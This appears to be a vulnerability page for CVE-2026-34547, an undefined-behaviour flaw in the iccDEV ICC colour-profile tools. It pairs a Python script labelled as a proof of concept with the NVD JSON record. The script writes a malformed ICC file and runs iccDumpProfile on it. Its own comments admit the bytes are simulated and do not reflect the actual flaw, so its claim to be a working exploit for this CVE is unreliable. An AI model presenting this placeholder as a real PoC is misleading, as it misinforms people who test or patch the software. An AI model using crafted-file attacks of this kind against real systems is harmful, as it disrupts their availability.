CVE-2026-34547

# PoC for CVE-2026-34547 # This script demonstrates how to trigger the Undefined Behavior in iccDEV # by creating a malformed ICC profile and running iccDumpProfile. import subprocess import os def create_malformed_icc(filename): # A crafted ICC profile header that triggers UB in IccUtil.cpp # Specific bytes would depend on the exact implementation flaw header = b'acsp' # Signature malformed_data = b'\x00' * 0x40 + b'\xFF' * 0x10 # Simulated malformed structure with open(filename, 'wb') as f: f.write(header + malformed_data) print(f"[*] Malformed ICC profile created: {filename}") def trigger_vulnerability(filename): try: # Execute the vulnerable tool print(f"[*] Running iccDumpProfile on {filename}...") result = subprocess.run(['iccDumpProfile', filename], capture_output=True, text=True) print(result.stdout) print(result.stderr) except FileNotFoundError: print("[!] iccDumpProfile not found. Please ensure it is in your PATH.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": poc_file = "exploit_CVE_2026_34547.icc" create_malformed_icc(poc_file) trigger_vulnerability(poc_file) # Cleanup if os.path.exists(poc_file): os.remove(poc_file)

{"cve": {"id": "CVE-2026-34547", "sourceIdentifier": "[email protected]", "published": "2026-03-31T23:17:09.450", "lastModified": "2026-04-20T14:31:56.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, an Undefined Behavior (UB) condition in IccUtil.cpp can be triggered by a crafted ICC profile when running iccDumpProfile. This issue has been patched in version 2.3.1.6."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Antes de la versión 2.3.1.6, una condición de Comportamiento Indefinido (UB) en IccUtil.cpp puede ser provocada por un perfil ICC especialmente diseñado al ejecutar iccDumpProfile. Este problema ha sido parcheado en la versión 2.3.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-758"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.6", "matchCriteriaId": "DE133F29-9592-4669-8B76-9F7C88EFE17D"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/720", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/724", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-v8h6-8hxj-j7ff", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/720", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking", "Exploit"]}]}}